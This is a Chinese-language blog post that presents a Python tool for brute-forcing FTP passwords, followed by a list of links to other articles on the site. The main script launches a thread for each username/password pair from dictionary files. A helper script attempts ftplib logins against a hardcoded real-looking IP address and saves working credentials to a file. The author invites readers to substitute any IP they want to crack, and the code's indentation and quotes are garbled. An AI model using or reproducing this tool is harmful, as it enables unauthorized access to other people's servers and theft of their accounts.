python编写暴力破解FTP密码小工具


Posted in Python onNovember 19, 2014

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

import os 

import time 

import threading
class mythread(threading.Thread): 

def __init__(self,command): 

threading.Thread.__init__(self) 

self.command=command 

def run(self): 

kk=os.system(self.command) 

ushand=open(“user.txt”,”r”) 

pshand=open(“passwd.txt”,”r”) 

listuser=[] 

listpass=[] 

for us in open(“user.txt”,”r”): 

lineus=ushand.readline().strip(‘\n') 

listuser.append(lineus) 

for ps in open(“passwd.txt”,”r”): 

lineps=pshand.readline().strip(‘\n') 

listpass.append(lineps) 

for i in listuser: 

for j in listpass: 

command=”ftp.py %s %s” %(i,j) 

print command 

my_thread=mythread(command) 

my_thread.start() 

time.sleep(0.1)

相应的ftp.py文件里面的代码如下

import ftplib 

import socket 

import sys 

ftp=ftplib.FTP('121.54.175.204′) 

try: 

user=sys.argv[1] 

passwd=sys.argv[2] 
ftp.login(user,passwd) 

hand=open(‘aa.txt','a+') 

hand.write(user+”:”+passwd+”\n”) 

except ftplib.error_perm: 

print “passwd is world”

由于插不近格式,里面的缩进的什么的得自己手动再调节一下

需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

Python 相关文章推荐
python使用在线API查询IP对应的地理位置信息实例
Jun 01 Python
用python + openpyxl处理excel2007文档思路以及心得
Jul 14 Python
python中使用正则表达式的连接符示例代码
Oct 10 Python
对Python 文件夹遍历和文件查找的实例讲解
Apr 26 Python
python利用小波分析进行特征提取的实例
Jan 09 Python
如何利用python给图片添加半透明水印
Sep 06 Python
Python面向对象魔法方法和单例模块代码实例
Mar 25 Python
如何在sublime编辑器中安装python
May 20 Python
.img/.hdr格式转.nii格式的操作
Jul 01 Python
多个版本的python共存时使用pip的正确做法
Oct 26 Python
Python根据字符串调用函数过程解析
Nov 05 Python
Python常用base64 md5 aes des crc32加密解密方法汇总
Nov 06 Python
用python读写excel的方法
Nov 18 #Python
kNN算法python实现和简单数字识别的方法
Nov 18 #Python
决策树的python实现方法
Nov 18 #Python
linux 下实现python多版本安装实践
Nov 18 #Python
centos 下面安装python2.7 +pip +mysqld
Nov 18 #Python
朴素贝叶斯算法的python实现方法
Nov 18 #Python
使用django-suit为django 1.7 admin后台添加模板
Nov 18 #Python
You might like
PHP 作用域解析运算符(::)
2010/07/27 PHP
腾讯CMEM的PHP扩展编译安装方法
2015/09/25 PHP
sina的lightbox效果。
2007/01/09 Javascript
Javascript下的keyCode键码值表
2007/04/10 Javascript
js获取元素到文档区域document的(横向、纵向)坐标的两种方法
2013/05/17 Javascript
javascript自动改变文字大小和颜色的效果的小例子
2013/08/02 Javascript
web css实现整站样式互相切换
2013/10/29 Javascript
jquery 判断滚动条到达了底部和顶端的方法
2014/04/02 Javascript
js实现跨域的4种实用方法原理分析
2015/10/29 Javascript
提升node.js中使用redis的性能遇到的问题及解决方法
2018/10/30 Javascript
手把手教你如何使用nodejs编写cli命令行
2018/11/05 NodeJs
对Layer UI 模块化的用法详解
2019/09/26 Javascript
JavaScript 作用域实例分析
2019/10/02 Javascript
JS实现手写 forEach算法示例
2020/04/29 Javascript
JavaScript随机数的组合问题案例分析
2020/05/16 Javascript
原生js+canvas实现贪吃蛇效果
2020/08/02 Javascript
Vue 列表页带参数进详情页的操作(router-link)
2020/11/13 Javascript
[46:40]VGJ.T vs Winstrike 2018国际邀请赛小组赛BO2 第一场 8.17
2018/08/20 DOTA
Python深入学习之闭包
2014/08/31 Python
Python使用sorted排序的方法小结
2017/07/28 Python
python 实现得到当前时间偏移day天后的日期方法
2018/12/31 Python
pytorch 常用线性函数详解
2020/01/15 Python
基于Django signals 信号作用及用法详解
2020/03/28 Python
Python字典取键、值对的方法步骤
2020/09/30 Python
迪拜航空官方网站:flydubai
2017/04/20 全球购物
英国最大的宝石首饰超市:QP Jewellers
2018/09/23 全球购物
医学实习生自我鉴定
2013/12/12 职场文书
《陈毅探母》教学反思
2014/05/01 职场文书
学校班班通实施方案
2014/06/11 职场文书
2014超市双十一活动策划方案
2014/09/29 职场文书
大学生党性分析材料
2014/12/19 职场文书
常住证明范本
2015/06/23 职场文书
Python提取PDF指定内容并生成新文件
2021/06/09 Python
用Python爬取英雄联盟的皮肤详细示例
2021/12/06 Python
数据设计之权限的实现
2022/08/05 MySQL
Nginx 502 bad gateway错误解决的九种方案及原因
2022/08/14 Servers